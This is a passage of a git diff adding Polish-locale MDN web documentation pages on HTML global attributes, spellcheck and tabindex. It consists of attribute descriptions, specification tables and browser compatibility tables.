<code><strong>onstalled</strong></code>, <code><strong>onsubmit</strong></code>, <code><strong>onsuspend</strong></code>, <code><strong>ontimeupdate</strong></code>, <code><strong>ontoggle</strong></code>, <code><strong>onvolumechange</strong></code>, <code><strong>onwaiting</strong></code>.</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<dl>
+ <dt id="attr-accesskey"><code><a href="/en-US/docs/Web/HTML/Global_attributes/accesskey">accesskey</a></code></dt>
+ <dd>Provides a hint for generating a keyboard shortcut for the current element. This attribute consists of a space-separated list of characters. The browser should use the first one that exists on the computer keyboard layout.</dd>
+ <dt id="attr-class"><code><a href="/en-US/docs/Web/HTML/Global_attributes/class">class</a></code></dt>
+ <dd>Is a space-separated list of the classes of the element. Classes allows CSS and JavaScript to select and access specific elements via the <a href="/en-US/docs/Web/CSS/Class_selectors">class selectors</a> or functions like the method {{domxref("Document.getElementsByClassName()")}}.</dd>
+ <dt id="attr-contenteditable"><code><a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></code></dt>
+ <dd>Is an enumerated attribute indicating if the element should be editable by the user. If so, the browser modifies its widget to allow editing. The attribute must take one of the following values:
+ <ul>
+ <li><code>true</code> or the <em>empty string</em>, which indicates that the element must be editable;</li>
+ <li><code>false</code>, which indicates that the element must not be editable.</li>
+ </ul>
+ </dd>
+ <dt id="attr-contextmenu"><code><a href="/en-US/docs/Web/HTML/Global_attributes/contextmenu">contextmenu</a></code></dt>
+ <dd>Is the <code><a href="#attr-id"><strong>id</strong></a></code> of an {{HTMLElement("menu")}} to use as the contextual menu for this element.</dd>
+ <dt id="attr-dataset"><code><a href="/en-US/docs/Web/HTML/Global_attributes/data-*">data-*</a></code></dt>
+ <dd>Forms a class of attributes, called custom data attributes, that allow proprietary information to be exchanged between the <a href="/en-US/docs/Web/HTML">HTML</a> and its <a href="/en-US/docs/Glossary/DOM">DOM</a> representation that may be used by scripts. All such custom data are available via the {{domxref("HTMLElement")}} interface of the element the attribute is set on. The {{domxref("HTMLElement.dataset")}} property gives access to them.</dd>
+ <dt id="attr-dir"><code><a href="/en-US/docs/Web/HTML/Global_attributes/dir">dir</a></code></dt>
+ <dd>Is an enumerated attribute indicating the directionality of the element's text. It can have the following values:
+ <ul>
+ <li><code>ltr</code>, which means <em>left to right </em>and is to be used for languages that are written from the left to the right (like English);</li>
+ <li><code>rtl</code>, which means <em>right to left</em> and is to be used for languages that are written from the right to the left (like Arabic);</li>
+ <li><code>auto</code>, which let the user agent decides. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then apply that directionality to the whole element.</li>
+ </ul>
+ </dd>
+ <dt id="attr-draggable"><code><a href="/en-US/docs/Web/HTML/Global_attributes/draggable">draggable</a></code> {{experimental_inline}}</dt>
+ <dd>Is an enumerated attribute indicating whether the element can be dragged, using the <a href="/en-us/docs/DragDrop/Drag_and_Drop">Drag and Drop API</a>. It can have the following values:
+ <ul>
+ <li><code>true</code>, which indicates that the element may be dragged</li>
+ <li><code>false</code>, which indicates that the element may not be dragged.</li>
+ </ul>
+ </dd>
+ <dt id="attr-dropzone"><code><a href="/en-US/docs/Web/HTML/Global_attributes/dropzone">dropzone</a></code> {{experimental_inline}}</dt>
+ <dd>Is an enumerated attribute indicating what types of content can be dropped on an element, using the <a href="/en-US/docs/DragDrop/Drag_and_Drop">Drag and Drop API</a>. It can have the following values:
+ <ul>
+ <li><code>copy</code>, which indicates that dropping will create a copy of the element that was dragged</li>
+ <li><code>move</code>, which indicates that the element that was dragged will be moved to this new location.</li>
+ <li><code>link</code>, will create a link to the dragged data.</li>
+ </ul>
+ </dd>
+ <dt id="attr-hidden"><code><a href="/en-US/docs/Web/HTML/Global_attributes/hidden">hidden</a></code></dt>
+ <dd>Is a Boolean attribute indicates that the element is not yet, or is no longer, <em>relevant</em>. For example, it can be used to hide elements of the page that can't be used until the login process has been completed. The browser won't render such elements. This attribute must not be used to hide content that could legitimately be shown.</dd>
+ <dt id="attr-id"><code><a href="/en-US/docs/Web/HTML/Global_attributes/id">id</a></code></dt>
+ <dd>Defines a unique identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with CSS).</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note: </strong>The following 5 attributes are part of the <a class="external" href="https://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#microdata">WHATWG HTML Microdata feature</a>.</p>
+</div>
+
+<dl>
+ <dt id="attr-itemid"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemid">itemid</a></code> {{experimental_inline}}</dt>
+ <dd>The unique, global identifier of an item.</dd>
+ <dt id="attr-itemprop"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code> {{experimental_inline}}</dt>
+ <dd>Used to add properties to an item. Every HTML element may have an itemprop attribute specified, where an itemprop consists of a name and value pair.</dd>
+ <dt id="attr-itemref"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemref">itemref</a></code> {{experimental_inline}}</dt>
+ <dd>Properties that are not descendants of an element with the <code>itemscope</code> attribute can be associated with the item using an <strong>itemref</strong>. Itemref provides a list of element ids (not <code>itemid</code>s) with additional properties elsewhere in the document.</dd>
+ <dt id="attr-itemscope"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemscope">itemscope</a> </code>{{experimental_inline}}</dt>
+ <dd>Itemscope (usually) works along with <a href="/en-US/docs/Web/HTML/Global_attributes/itemtype">itemtype </a>to specify that the HTML contained in a block is about a particular item. itemscope creates the Item and defines the scope of the itemtype associated with it. itemtype is a valid URL of a vocabulary (such as <a class="external external-icon" href="https://schema.org/">schema.org</a>) that describes the item and its properties context.</dd>
+ <dt id="attr-itemtype"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemtype">itemtype</a></code> {{experimental_inline}}</dt>
+ <dd>Specifies the URL of the vocabulary that will be used to define itemprop's (item properties) in the data structure. <a href="/en-US/docs/Web/HTML/Global_attributes/itemscope">Itemscope</a> is used to set the scope of  where in the data structure the vocabulary set by itemtype will be active.</dd>
+ <dt id="attr-lang"><code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code></dt>
+ <dd>Participates in defining the language of the element, the language that non-editable elements are written in or the language that editable elements should be written in. The tag contains one single entry value in the format defines in the <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt"><em>Tags for Identifying Languages (BCP47)</em></a> IETF document. <a href="#attr-xml:lang"><strong>xml:lang</strong></a> has priority over it.</dd>
+</dl>
+
+<dl>
+ <dt id="attr-slot"><code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code> {{experimental_inline}}</dt>
+ <dd>Assigns a slot in a <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a> shadow tree to an element: An element with a <code>slot</code> attribute is assigned to the slot created by the {{HTMLElement("slot")}} element whose {{htmlattrxref("name", "slot")}} attribute's value matches that <code>slot</code> attribute's value.</dd>
+</dl>
+
+<dl>
+ <dt id="attr-spellcheck"><code><a href="/en-US/docs/Web/HTML/Global_attributes/spellcheck">spellcheck</a></code> {{experimental_inline}}</dt>
+ <dd>Is an enumerated attribute defines whether the element may be checked for spelling errors. It may have the following values:
+ <ul>
+ <li><code>true</code>, which indicates that the element should be, if possible, checked for spelling errors;</li>
+ <li><code>false</code>, which indicates that the element should not be checked for spelling errors.</li>
+ </ul>
+ </dd>
+ <dt id="attr-style"><code><a href="/en-US/docs/Web/HTML/Global_attributes/style">style</a></code></dt>
+ <dd>Contains <a href="/en-US/docs/Web/CSS">CSS</a> styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the {{HTMLElement("style")}} element have mainly the purpose of allowing for quick styling, for example for testing purposes.</dd>
+ <dt id="attr-tabindex"><code><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a></code></dt>
+ <dd>Is an integer attribute indicates if the element can take input focus (is <em>focusable</em>), if it should participate to sequential keyboard navigation, and if so, at what position. It can takes several values:
+ <ul>
+ <li>a <em>negative value</em> means that the element should be focusable, but should not be reachable via sequential keyboard navigation;</li>
+ <li><code>0</code> means that the element should be focusable and reachable via sequential keyboard navigation, but its relative order is defined by the platform convention;</li>
+ <li>a <em>positive value</em> which means should be focusable and reachable via sequential keyboard navigation; its relative order is defined by the value of the attribute: the sequential follow the increasing number of the <a href="#attr-tabindex"><strong>tabindex</strong></a>. If several elements share the same tabindex, their relative order follows their relative position in the document).</li>
+ </ul>
+ </dd>
+ <dt id="attr-title"><code><a href="/en-US/docs/Web/HTML/Global_attributes/title">title</a></code></dt>
+ <dd>Contains a text representing advisory information related to the element it belongs to. Such information can typically, but not necessarily, be presented to the user as a tooltip.</dd>
+ <dt id="attr-translate"><code><a href="/en-US/docs/Web/HTML/Global_attributes/translate">translate</a></code></dt>
+ <dd>Is an enumerated attribute that is used to specify whether an element's attribute values and the values of it<code>s</code> {{domxref("Text")}} node children are to be translated when the page is localized, or whether to leave them unchanged. It can have the following values:
+ <ul>
+ <li>empty string and <code>"yes"</code>, which indicates that the element will be translated.</li>
+ <li><code>"no</code>", which indicates that the element will not be translated.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "dom.html#global-attributes", "Global attributes")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>From latest snapshot, {{SpecName('HTML5.1')}}, <code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, and <code>itemtype</code> have been added.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "dom.html#global-attributes", "Global attributes")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName('HTML5 W3C')}}, <code>spellcheck</code>, <code>draggable</code>, and <code>dropzone</code> have been added.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "dom.html#global-attributes", "Global attributes")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName("HTML4.01")}}, the concept of global attributes is introduced and the <code>dir</code>, <code>lang</code>, <code>style</code>, <code>id</code>, <code>class</code>, <code>tabindex</code>, <code>accesskey</code>, and <code>title</code> are now true global attributes.<br>
+ <code>xml:lang</code> which was initially part of XHTML, is now also part of HTML.<br>
+ <code>hidden</code>, <code>data-*</code>, <code>contextmenu</code>, <code>contenteditable</code>, and <code>translate</code> have been added.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>There are no global attributes defined. Several attributes that will become global attributes in subsequent specifications are defined on a subset of elements.<br>
+ <code>class</code> and <code>style</code> are supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.<br>
+ <code>dir</code> is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.<br>
+ <code>id</code> is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.<br>
+ <code>lang</code> is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.<br>
+ <code>tabindex</code> is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.<br>
+ <code>accesskey</code> is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} and {{HTMLElement("textarea")}}.<br>
+ <code>title</code> is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, and {{HTMLElement("title")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td><code>accesskey</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>class</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>contenteditable</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.9")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>contextmenu</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop(9)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>data-*</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("6")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>dir</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>draggable</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>dropzone</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>hidden</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("2")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>id</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, <code>itemtype</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>lang</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>spellcheck</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>style</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>tabindex</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>title</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td><code>accesskey</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>class</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>contenteditable</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.9")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>contextmenu</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>data-*</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("6")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>dir</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>draggable</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.8.1")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>dropzone</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>hidden</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("2")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>id</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, <code>itemtype</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>lang</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>spellcheck</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.8.1")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>style</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>tabindex</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>title</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element")}} and {{domxref("GlobalEventHandlers")}} interfaces that allow to query most global attributes.</li>
+</ul>
diff --git a/files/pl/web/html/global_attributes/pisownia/index.html b/files/pl/web/html/global_attributes/pisownia/index.html
new file mode 100644
index 0000000000..ed230d2b07
--- /dev/null
+++ b/files/pl/web/html/global_attributes/pisownia/index.html
@@ -0,0 +1,63 @@
+---
+title: sprawdzanie pisowni
+slug: Web/HTML/Global_attributes/pisownia
+translation_of: Web/HTML/Global_attributes/spellcheck
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>The <code><strong>spellcheck</strong></code> <a href="/en-US/docs/Web/HTML/Global_attributes">global attribute</a> is an enumerated attribute defines whether the element may be checked for spelling errors.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-spellcheck.html","tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p>It may have the following values:</p>
+
+<ul>
+ <li><code>true</code>, which indicates that the element should be, if possible, checked for spelling errors;</li>
+ <li><code>false</code>, which indicates that the element should not be checked for spelling errors.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> The <code>spellcheck</code> attribute is an <em>enumerated</em> one and not a <em>Boolean</em> one. This means that the explicit usage of one of the values <code>true</code> or <code>false</code> is mandatory, and that a shorthand like <code>&lt;textarea spellcheck&gt;&lt;/textarea&gt; </code>is not allowed. The correct usage is <code>&lt;textarea spellcheck="true"&gt;&lt;/textarea&gt;</code>.</p>
+</div>
+
+<p>If this attribute is not set, its default value is element-type and browser-defined. This default value may also be <em>inherited</em>, which means that the element content will be checked for spelling errors only if its nearest ancestor has a <em>spellcheck</em> state of <code>true</code>.</p>
+
+<p>This attribute is merely a hint for the browser: browsers are not required to check for spelling errors. Typically non-editable elements are not checked for spelling errors, even if the <code>spellcheck</code> attribute is set to <code>true</code> and the browser supports spellchecking.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "interaction.html#spelling-and-grammar-checking", "spellcheck")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "editing.html#spelling-and-grammar-checking", "spellcheck")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.global_attributes.spellcheck")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>All <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</li>
+</ul>
diff --git a/files/pl/web/html/global_attributes/tabindex/index.html b/files/pl/web/html/global_attributes/tabindex/index.html
new file mode 100644
index 0000000000..4a53c0c203
--- /dev/null
+++ b/files/pl/web/html/global_attributes/tabindex/index.html
@@ -0,0 +1,114 @@
+---
+title: tabindex
+slug: Web/HTML/Global_attributes/tabindex
+translation_of: Web/HTML/Global_attributes/tabindex
+---
+<p>{{HTMLSidebar("Global_attributes")}}</p>
+
+<p><a href="/en-US/docs/Web/HTML/Global_attributes">Atrybut globalny</a> <strong>tabindex </strong>jest integerem wskazującym, czy dany element może zostać wyszczególniony (jest <em>fokusyjny</em>) oraz czy powinien być brany pod uwagę przy nawigacji sekwencyjnej klawiatury i jeśli tak to na jakiej pozycji. Może przyjąć kilka wartosci:</p>
+
+<ul>
+ <li>wartość negatywna (<em>negative value</em>) oznacza, że element powinien być fokusyjny, ale nie powininen być osiągalny poprzez nawigację sekwencyjną klawiatury;</li>
+ <li>0 oznacza, że element powinien być fokusyjny i zarazem osiągalny przez nawigację sekwencyjną klawiatury, ale jego kolejność względna jest definiowana przez konwencję danej platformy;</li>
+ <li>wartość pozytywna (<em>positive value</em>) oznacza, że element powinien być fokusyjny i osiągalny przez nawigację sekwencyjną klawiatury; jego kolejność względna jest definiowana poprzez wartość atrybutu: następstwo sekwencyjne zwiększającej się wartości tabindex. Jeśli niektóre elementy posiadają ten sam tabindex, ich kolejność względna zależy od ich pozycji relatywnej w dokumencie</li>
+</ul>
+
+<p>Element o wartości 0, wartości niewłaściwej lub bez wartości <strong>tabindex </strong>powinien zostać umieszczony poniżej tych elementów nawigacji sekwencyjnej klawiatury, które posiadają <strong>tabindex</strong> pozytywny.</p>
+
+<p>Jeśli ustalimy atrybut <code>tabindex</code> na {{htmlelement("div")}}, wówczas jego zawartość dziedziczna nie będzie przewijalna przy użyciu klawiszy strzałek chyba, że ustawimy tabindex również na zawartość. <a href="https://jsfiddle.net/jainakshay/0b2q4Lgv/">Zobacz tego fiddle'a, by zrozumieć efekt przewijania w odniesieniu do tabindex.</a></p>
+
+<div class="note">
+<p><strong>Adnotacja</strong>: Maksymalna wartość tabIndexu nie powinna przekraczać 32767. Jeśli nie została zdefiniowana to przyjmuje domyślną wartość -1.</p>
+</div>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "editing.html#attr-tabindex", "tabindex")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Brak zmian od ostatniego snapshota, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "editing.html#attr-tabindex", "tabindex")}}</td>
